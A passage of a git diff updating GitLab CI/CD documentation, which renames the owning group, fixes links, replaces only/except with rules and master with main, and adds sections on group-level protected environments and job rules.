+When a CI job runs in a Docker container, the `before_script`, `script`, and `after_script` commands run in the `/builds/<project-path>/` directory. Your image may have a different default `WORKDIR` defined. To move to your `WORKDIR`, save the `WORKDIR` as an environment variable so you can reference it in the container during the job's runtime.
+
### Available settings for `image`
> Introduced in GitLab and GitLab Runner 9.4.
diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md
index 0344e736dd4..05769cc8f75 100644
--- a/doc/ci/docker/using_kaniko.md
+++ b/doc/ci/docker/using_kaniko.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -99,8 +99,8 @@ build:
KANIKOCFG="${KANIKOCFG} }"
echo "${KANIKOCFG}" > /kaniko/.docker/config.json
- /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile $KANIKOPROXYBUILDARGS --destination $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG
- only:
- - tags
+ rules:
+ - if: $CI_COMMIT_TAG
```
## Using a registry with a custom certificate
@@ -133,7 +133,7 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube
video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build)
Guided Exploration project pipeline. It was tested on:
-- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
+- [GitLab.com shared runners](../runners/README.md)
- [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
The example can be copied to your own group or instance for testing. More details
diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md
index 72fd9833df1..4633cc1a3f8 100644
--- a/doc/ci/enable_or_disable_ci.md
+++ b/doc/ci/enable_or_disable_ci.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index 6fda6bb0d8b..c57dc99f341 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -117,7 +117,7 @@ The other pipelines don't get the protected variable. You can also
[scope variables to specific environments](../variables/where_variables_can_be_used.md#variables-with-an-environment-scope).
We recommend that you use protected variables on protected environments to make sure that the
secrets aren't exposed unintentionally. You can also define production secrets on the
-[runner side](../runners/README.md#prevent-runners-from-revealing-sensitive-information).
+[runner side](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information).
This prevents other maintainers from reading the secrets and makes sure that the runner only runs on
protected branches.
@@ -141,7 +141,7 @@ reference a file in another project with a completely different set of permissio
In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with
appropriate permissions in the other project.
-For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-path).
+For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-file).
## Troubleshooting
diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md
index 4ee9aa9a5ba..a89bc1c89aa 100644
--- a/doc/ci/environments/environments_dashboard.md
+++ b/doc/ci/environments/environments_dashboard.md
@@ -20,8 +20,8 @@ see which pipelines are green and which are red allowing you to
diagnose if there is a block at a particular point, or if there's
a more systemic problem you need to investigate.
-You can access the dashboard from the top bar by clicking
-**More > Environments**.
+You can access the dashboard on the top bar by selecting
+**Menu > Environments**.
![Environments Dashboard with projects](img/environments_dashboard_v12_5.png)
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 06618a820db..62c58302886 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -31,7 +31,7 @@ Prerequisites:
To view a list of environments and deployments:
-1. Go to the project's **Operations > Environments** page.
+1. Go to the project's **Deployments > Environments** page.
The environments are displayed.
![Environments list](img/environments_list.png)
@@ -57,7 +57,7 @@ You can create an environment and deployment in the UI or in your `.gitlab-ci.ym
In the UI:
-1. Go to the project's **Operations > Environments** page.
+1. Go to the project's **Deployments > Environments** page.
1. Select **New environment**.
1. Enter a name and external URL.
1. Select **Save**.
@@ -99,10 +99,10 @@ deploy_review:
environment:
name: review/$CI_COMMIT_REF_NAME
url: https://$CI_ENVIRONMENT_SLUG.example.com
- only:
- - branches
- except:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ when: never
+ - if: $CI_COMMIT_BRANCH
```
In this example:
@@ -136,7 +136,7 @@ you can use tiers:
| Environment tier | Environment name examples |
|------------------|----------------------------------------------------|
| `production` | Production, Live |
-| `staging` | Staging, Model, Pre, Demo |
+| `staging` | Staging, Model, Demo |
| `testing` | Test, QC |
| `development` | Dev, [Review apps](../review_apps/index.md), Trunk |
| `other` | |
@@ -158,8 +158,8 @@ deploy_prod:
name: production
url: https://example.com
when: manual
- only:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
The `when: manual` action:
@@ -200,8 +200,8 @@ deploy:
url: https://example.com
kubernetes:
namespace: production
- only:
- - master
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
When you use the GitLab Kubernetes integration to deploy to a Kubernetes cluster,
@@ -326,7 +326,7 @@ If there is a problem with a deployment, you can retry it or roll it back.
To retry or rollback a deployment:
-1. Go to the project's **Operations > Environments**.
+1. Go to the project's **Deployments > Environments**.
1. Select the environment.
1. To the right of the deployment name:
- To retry a deployment, select **Re-deploy to environment**.
@@ -409,7 +409,7 @@ The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run
if it's in a later stage than the job that started the environment.
If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md),
-set the [`GIT_STRATEGY`](../runners/README.md#git-strategy) to `none` in the
+set the [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) to `none` in the
`stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't
try to check out the code after the branch is deleted.
@@ -465,7 +465,7 @@ GitLab automatically triggers the `stop_review_app` job to stop the environment.
You can view a deployment's expiration date in the GitLab UI.
-1. Go to the project's **Operations > Environments** page.
+1. Go to the project's **Deployments > Environments** page.
1. Select the name of the deployment.
In the top left, next to the environment name, the expiration date is displayed.
@@ -474,7 +474,7 @@ In the top left, next to the environment name, the expiration date is displayed.
You can manually override a deployment's expiration date.
-1. Go to the project's **Operations > Environments** page.
+1. Go to the project's **Deployments > Environments** page.
1. Select the deployment name.
1. On the top right, select the thumbtack (**{thumbtack}**).
@@ -491,7 +491,7 @@ You can delete [stopped environments](#stopping-an-environment) in the GitLab UI
To delete a stopped environment in the GitLab UI:
-1. Go to the project's **Operations > Environments** page.
+1. Go to the project's **Deployments > Environments** page.
1. Select the **Stopped** tab.
1. Next to the environment you want to delete, select **Delete environment**.
1. On the confirmation dialog box, select **Delete environment**.
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index df0bb2817ab..c276059cb9e 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -23,8 +23,8 @@ with the right privileges can deploy to it, thus keeping it safe.
NOTE:
A GitLab admin is always allowed to use environments, even if they are protected.
-To protect, update, or unprotect an environment, you need to have at least
-[Maintainer permissions](../../user/permissions.md).
+To protect, update, or unprotect an environment, you need to have at least the
+[Maintainer role](../../user/permissions.md).
## Protecting environments
@@ -79,7 +79,8 @@ Alternatively, you can use the API to protect an environment:
1. Use the API to add a user to the group as a reporter:
```shell
- $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members"
+ $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "user_id=3222377&access_level=20" "https://gitlab.com/api/v4/groups/9899826/members"
{"id":3222377,"name":"Sean Carroll","username":"sfcarroll","state":"active","avatar_url":"https://assets.gitlab-static.net/uploads/-/system/user/avatar/3222377/avatar.png","web_url":"https://gitlab.com/sfcarroll","access_level":20,"created_at":"2020-10-26T17:37:50.309Z","expires_at":null}
```
@@ -87,7 +88,8 @@ Alternatively, you can use the API to protect an environment:
1. Use the API to add the group to the project as a reporter:
```shell
- $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20"
+ $ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --request POST "https://gitlab.com/api/v4/projects/22034114/share?group_id=9899826&group_access=20"
{"id":1233335,"project_id":22034114,"group_id":9899826,"group_access":20,"expires_at":null}
```
@@ -95,7 +97,8 @@ Alternatively, you can use the API to protect an environment:
1. Use the API to add the group with protected environment access:
```shell
- curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments"
+ curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/22034114/protected_environments"
```
The group now has access and can be seen in the UI.
@@ -151,6 +154,129 @@ be re-entered if the environment is re-protected.
For more information, see [Deployment safety](deployment_safety.md).
+## Group-level protected environments
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215888) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.0.
+> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-group-level-protected-environments). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+Typically, large enterprise organizations have an explicit permission boundary
+between [developers and operators](https://about.gitlab.com/topics/devops/).
+Developers build and test their code, and operators deploy and monitor the
+application. With group-level protected environments, the permission of each
+group is carefully configured in order to prevent unauthorized access and
+maintain proper separation of duty. Group-level protected environments
+extend the [project-level protected environments](#protecting-environments)
+to the group-level.
+
+The permissions of deployments can be illustrated in the following table:
+
+| Environment | Developer | Operator | Category |
+|-------------|------------|----------|----------|
+| Development | Allowed | Allowed | Lower environment |
+| Testing | Allowed | Allowed | Lower environment |
+| Staging | Disallowed | Allowed | Higher environment |
+| Production | Disallowed | Allowed | Higher environment |
+
+_(Reference: [Deployment environments on Wikipedia](https://en.wikipedia.org/wiki/Deployment_environment))_
+
+### Group-level protected environments names
+
+Contrary to project-level protected environments, group-level protected
+environments use the [deployment tier](index.md#deployment-tier-of-environments)
+as their name.
+
+A group may consist of many project environments that have unique names.
+For example, Project-A has a `gprd` environment and Project-B has a `Production`
+environment, so protecting a specific environment name doesn't scale well.
+By using deployment tiers, both are recognized as `production` deployment tier
+and are protected at the same time.
+
+### Configure group-level memberships
+
+In an enterprise organization, with thousands of projects under a single group,
+ensuring that all of the [project-level protected environments](#protecting-environments)
+are properly configured is not a scalable solution. For example, a developer
+might gain privileged access to a higher environment when they are added as a
+maintainer to a new project. Group-level protected environments can be a solution
+in this situation.
+
+To maximize the effectiveness of group-level protected environments,
+[group-level memberships](../../user/group/index.md) must be correctly
+configured:
+
+- Operators should be assigned the [maintainer role](../../user/permissions.md)
+ (or above) to the top-level group. They can maintain CI/CD configurations for
+ the higher environments (such as production) in the group-level settings page,
+ wnich includes group-level protected environments,
+ [group-level runners](../runners/runners_scope.md#group-runners),
+ [group-level clusters](../../user/group/clusters/index.md), etc. Those
+ configurations are inherited to the child projects as read-only entries.
+ This ensures that only operators can configure the organization-wide
+ deployment ruleset.
+- Developers should be assigned the [developer role](../../user/permissions.md)
+ (or below) at the top-level group, or explicitly assigned to a child project
+ as maintainers. They do *NOT* have access to the CI/CD configurations in the
+ top-level group, so operators can ensure that the critical configuration won't
+ be accidentally changed by the developers.
+- For sub-groups and child projects:
+ - Regarding [sub-groups](../../user/group/subgroups/index.md), if a higher
+ group has configured the group-level protected environment, the lower groups
+ cannot override it.
+ - [Project-level protected environments](#protecting-environments) can be
+ combined with the group-level setting. If both group-level and project-level
+ environment configurations exist, the user must be allowed in **both**
+ rulesets in order to run a deployment job.
+ - Within a project or a sub-group of the top-level group, developers can be
+ safely assigned the Maintainer role to tune their lower environments (such
+ as `testing`).
+
+Having this configuration in place:
+
+- If a user is about to run a deployment job in a project and allowed to deploy
+ to the environment, the deployment job proceeds.
+- If a user is about to run a deployment job in a project but disallowed to
+ deploy to the environment, the deployment job fails with an error message.
+
+### Protect a group-level environment
+
+To protect a group-level environment:
+
+1. Make sure your environments have the correct
+ [`deployment_tier`](index.md#deployment-tier-of-environments) defined in
+ `gitlab-ci.yml`.
+1. Configure the group-level protected environments via the
+ [REST API](../../api/group_protected_environments.md).
+
+NOTE:
+Configuration [via the UI](https://gitlab.com/gitlab-org/gitlab/-/issues/325249)
+is scheduled for a later release.
+
+### Enable or disable Group-level protected environments **(FREE SELF)**
+
+Group-level protected environments is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:group_level_protected_environments)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:group_level_protected_environments)
+```
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md
index 3238b062752..90273190697 100644
--- a/doc/ci/examples/README.md
+++ b/doc/ci/examples/README.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
@@ -56,7 +56,7 @@ separate example projects:
## CI/CD templates
Get started with GitLab CI/CD and your favorite programming language or framework by using a
-`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).
+`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
When you create a `gitlab-ci.yml` file in the UI, you can
choose one of these templates:
@@ -99,7 +99,7 @@ choose one of these templates:
If a programming language or framework template is not in this list, you can contribute
one. To create a template, submit a merge request
-to [the templates list](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).
+to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
### Adding templates to your GitLab installation **(PREMIUM SELF)**
diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
index 40ba7cff5f9..fc1e06e91c6 100644
--- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
+++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
@@ -50,6 +50,7 @@ The JWT's payload looks like this:
"user_login": "myuser" # GitLab @username
"user_email": "myuser@example.com", # Email of the user executing the job
"pipeline_id": "1212", #
+ "pipeline_source": "web", # Pipeline source, see: https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules
"job_id": "1212", #
"ref": "auto-deploy-2020-04-01", # Git ref for this job
"ref_type": "branch", # Git ref type, branch or tag
@@ -202,6 +203,10 @@ read_secrets:
- export PASSWORD="$(vault kv get -field=password secret/myproject/production/db)"
```
+NOTE:
+If you're using a Vault instance provided by HashiCorp Cloud Platform,
+you need to export the `VAULT_NAMESPACE` variable. Its default value is `admin`.
+
![read_secrets staging](img/vault-read-secrets-staging.png)
The following job is able to authenticate using the `myproject-production` role and read secrets under `/secret/myproject/production/`:
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index 5a5e44c03bf..5f08f2954f5 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html'
author: Mehran Rasulian
@@ -78,7 +78,7 @@ git init
git remote add origin git@gitlab.example.com:<USERNAME>/laravel-sample.git
git add .
git commit -m 'Initial Commit'
-git push -u origin master
+git push -u origin main
```
## Configure the production server
@@ -260,7 +260,7 @@ Let's create these three tasks one by one.
#### Clone the repository
-The first task will create the `releases` directory (if it doesn't exist), and then clone the `master` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable.
+The first task will create the `releases` directory (if it doesn't exist), and then clone the `main` branch of the repository (by default) into the new release directory, given by the `$new_release_dir` variable.
The `releases` directory will hold all our deployments:
```php
@@ -378,14 +378,14 @@ These are persistent data and will be shared to every new release.
Now, we would need to deploy our app by running `envoy run deploy`, but it won't be necessary since GitLab can handle that for us with CI's [environments](../../environments/index.md), which will be described [later](#setting-up-gitlab-cicd) in this tutorial.
-Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `master` branch.
-To keep things simple, we commit directly to `master`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial.
+Now it's time to commit [Envoy.blade.php](https://gitlab.com/mehranrasulian/laravel-sample/blob/master/Envoy.blade.php) and push it to the `main` branch.
+To keep things simple, we commit directly to `main`, without using [feature-branches](../../../topics/gitlab_flow.md#github-flow-as-a-simpler-alternative) since collaboration is beyond the scope of this tutorial.
In a real world project, teams may use [Issue Tracker](../../../user/project/issues/index.md) and [Merge Requests](../../../user/project/merge_requests/index.md) to move their code across branches:
```shell
git add Envoy.blade.php
git commit -m 'Add Envoy'
-git push origin master
+git push origin main
```
## Continuous Integration with GitLab
@@ -474,7 +474,7 @@ Let's commit the `Dockerfile` file.
```shell
git add Dockerfile
git commit -m 'Add Dockerfile'
-git push origin master
+git push origin main
```
### Setting up GitLab CI/CD
@@ -523,7 +523,7 @@ deploy_production:
url: http://192.168.1.1
when: manual
only:
- - master
+ - main
```
That's a lot to take in, isn't it? Let's run through it step by step.
@@ -595,7 +595,7 @@ If the SSH keys have added successfully, we can run Envoy.
As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well.
The [environment](../../yaml/README.md#environment) keyword tells GitLab that this job deploys to the `production` environment.
The `url` keyword is used to generate a link to our application on the GitLab Environments page.
-The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `master` branch.
+The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `main` branch.
Lastly, `when: manual` is used to turn the job from running automatically to a manual action.
```yaml
@@ -616,7 +616,7 @@ deploy_production:
url: http://192.168.1.1
when: manual
only:
- - master
+ - main
```
You may also want to add another job for [staging environment](https://about.gitlab.com/blog/2021/02/05/ci-deployment-and-environments/), to final test your application before deploying to production.
@@ -624,7 +624,7 @@ You may also want to add another job for [staging environment](https://about.git
### Turn on GitLab CI/CD
We have prepared everything we need to test and deploy our app with GitLab CI/CD.
-To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**.
+To do that, commit and push `.gitlab-ci.yml` to the `main` branch. It will trigger a pipeline, which you can watch live under your project's **Pipelines**.
![pipelines page](img/pipelines_page.png)
diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md
index 53014585f2e..fc639b19ca0 100644
--- a/doc/ci/examples/php.md
+++ b/doc/ci/examples/php.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
index 4a6555a58a6..94cfb8c1c58 100644
--- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
@@ -1,5 +1,6 @@
---
redirect_to: 'README.md#contributed-examples'
+remove_date: '2021-06-01'
---
This document was moved to [another location](README.md#contributed-examples).
diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
index 4a6555a58a6..94cfb8c1c58 100644
--- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
@@ -1,5 +1,6 @@
---
redirect_to: 'README.md#contributed-examples'
+remove_date: '2021-06-01'
---
This document was moved to [another location](README.md#contributed-examples).
diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md
index 8aa1fb21275..cb4040212ad 100644
--- a/doc/ci/examples/test-clojure-application.md
+++ b/doc/ci/examples/test-clojure-application.md
@@ -1,5 +1,6 @@
---
redirect_to: 'README.md#contributed-examples'
+remove_date: '2021-05-26'
---
This document was moved to [another location](README.md#contributed-examples).
diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md
index 01df4f63c92..f0ea5ed582c 100644
--- a/doc/ci/git_submodules.md
+++ b/doc/ci/git_submodules.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -53,7 +53,7 @@ To make submodules work correctly in CI/CD jobs:
1. Make sure you use [relative URLs](#configure-the-gitmodules-file)
for submodules located in the same GitLab server.
1. You can set the `GIT_SUBMODULE_STRATEGY` variable to either `normal` or `recursive`
- to tell the runner to [fetch your submodules before the job](runners/README.md#git-submodule-strategy):
+ to tell the runner to [fetch your submodules before the job](runners/configure_runners.md#git-submodule-strategy):
```yaml
variables:
diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md
index 1aa86e0b322..cbf92438488 100644
--- a/doc/ci/interactive_web_terminal/index.md
+++ b/doc/ci/interactive_web_terminal/index.md
@@ -16,7 +16,7 @@ is deployed, some [security precautions](../../administration/integration/termin
taken to protect the users.
NOTE:
-[Shared runners on GitLab.com](../runners/README.md#shared-runners) do not
+[Shared runners on GitLab.com](../runners/README.md) do not
provide an interactive web terminal. Follow [this
issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on
adding support. For groups and projects hosted on GitLab.com, interactive web
diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md
index 307dcdf258c..780c5cd7762 100644
--- a/doc/ci/introduction/index.md
+++ b/doc/ci/introduction/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD."
type: concepts
diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md
index a20fa1f8aa9..7a57d8abf0d 100644
--- a/doc/ci/jobs/index.md
+++ b/doc/ci/jobs/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -29,7 +29,7 @@ jobs, where each of the jobs executes a different command.
Of course a command can execute code directly (`./configure;make;make install`)
or run a script (`test.sh`) in the repository.
-Jobs are picked up by [runners](../runners/README.md) and executed within the
+Jobs are picked up by [runners](../runners/README.md) and executed in the
environment of the runner. What is important is that each job is run
independently from each other.
@@ -136,7 +136,7 @@ In the pipeline, the result is a group named `build ruby` with three jobs:
The jobs are ordered by comparing the numbers from left to right. You
usually want the first number to be the index and the second number to be the total.
-[This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99)
+[This regular expression](https://gitlab.com/gitlab-org/gitlab/-/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99)
evaluates the job names: `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`.
One or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences are removed from the **end**
of job names only. Matching substrings found at the beginning or in the middle of
diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md
index 6e9197c223b..d7e192bbfda 100644
--- a/doc/ci/jobs/job_control.md
+++ b/doc/ci/jobs/job_control.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -19,6 +19,277 @@ To configure a job to be included or excluded from certain pipelines, you can us
Use [`needs`](../yaml/README.md#needs) to configure a job to run as soon as the
earlier jobs it depends on finish running.
+## Specify when jobs run with `rules`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
+
+Use [`rules`](../yaml/README.md#rules) to include or exclude jobs in pipelines.
+
+Rules are evaluated in order until the first match. When a match is found, the job
+is either included or excluded from the pipeline, depending on the configuration.
+See the [`rules`](../yaml/README.md#rules) reference for more details.
+
+Future keyword improvements are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783),
+where anyone can add suggestions or requests.
+
+### `rules` examples
+
+The following example uses `if` to define that the job runs in only two specific cases:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ when: manual
+ allow_failure: true
+ - if: '$CI_PIPELINE_SOURCE == "schedule"'
+```
+
+- If the pipeline is for a merge request, the first rule matches, and the job
+ is added to the [merge request pipeline](../merge_request_pipelines/index.md)
+ with attributes of:
+ - `when: manual` (manual job)
+ - `allow_failure: true` (the pipeline continues running even if the manual job is not run)
+- If the pipeline is **not** for a merge request, the first rule doesn't match, and the
+ second rule is evaluated.
+- If the pipeline is a scheduled pipeline, the second rule matches, and the job
+ is added to the scheduled pipeline. No attributes were defined, so it is added
+ with:
+ - `when: on_success` (default)
+ - `allow_failure: false` (default)
+- In **all other cases**, no rules match, so the job is **not** added to any other pipeline.
+
+Alternatively, you can define a set of rules to exclude jobs in a few cases, but
+run them in all other cases:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ when: never
+ - if: '$CI_PIPELINE_SOURCE == "schedule"'
+ when: never
+ - when: on_success
+```
+
+- If the pipeline is for a merge request, the job is **not** added to the pipeline.
+- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline.
+- In **all other cases**, the job is added to the pipeline, with `when: on_success`.
+
+WARNING:
+If you use a `when:` clause as the final rule (not including `when: never`), two
+simultaneous pipelines may start. Both push pipelines and merge request pipelines can
+be triggered by the same event (a push to the source branch for an open merge request).
+See how to [prevent duplicate pipelines](#avoid-duplicate-pipelines)
+for more details.
+
+### Complex rules
+
+You can use all `rules` keywords, like `if`, `changes`, and `exists`, in the same
+rule. The rule evaluates to true only when all included keywords evaluate to true.
+
+For example:
+
+```yaml
+docker build:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - if: '$VAR == "string value"'
+ changes: # Include the job and set to when:manual if any of the follow paths match a modified file.
+ - Dockerfile
+ - docker/scripts/*
+ when: manual
+ allow_failure: true
+```
+
+If the `Dockerfile` file or any file in `/docker/scripts` has changed **and** `$VAR` == "string value",
+then the job runs manually and is allowed to fail.
+
+You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||` to build more complicated variable expressions.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3:
+
+```yaml
+job1:
+ script:
+ - echo This rule uses parentheses.
+ rules:
+ if: ($CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE
+```
+
+WARNING:
+[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938),
+rules that use both `||` and `&&` may evaluate with an unexpected order of operations.
+
+### Avoid duplicate pipelines
+
+If a job uses `rules`, a single action, like pushing a commit to a branch, can trigger
+multiple pipelines. You don't have to explicitly configure rules for multiple types
+of pipeline to trigger them accidentally.
+
+Some configurations that have the potential to cause duplicate pipelines cause a
+[pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219431) in GitLab 13.3.
+
+For example:
+
+```yaml
+job:
+ script: echo "This job creates double pipelines!"
+ rules:
+ - if: '$CUSTOM_VARIABLE == "false"'
+ when: never
+ - when: always
+```
+
+This job does not run when `$CUSTOM_VARIABLE` is false, but it *does* run in **all**
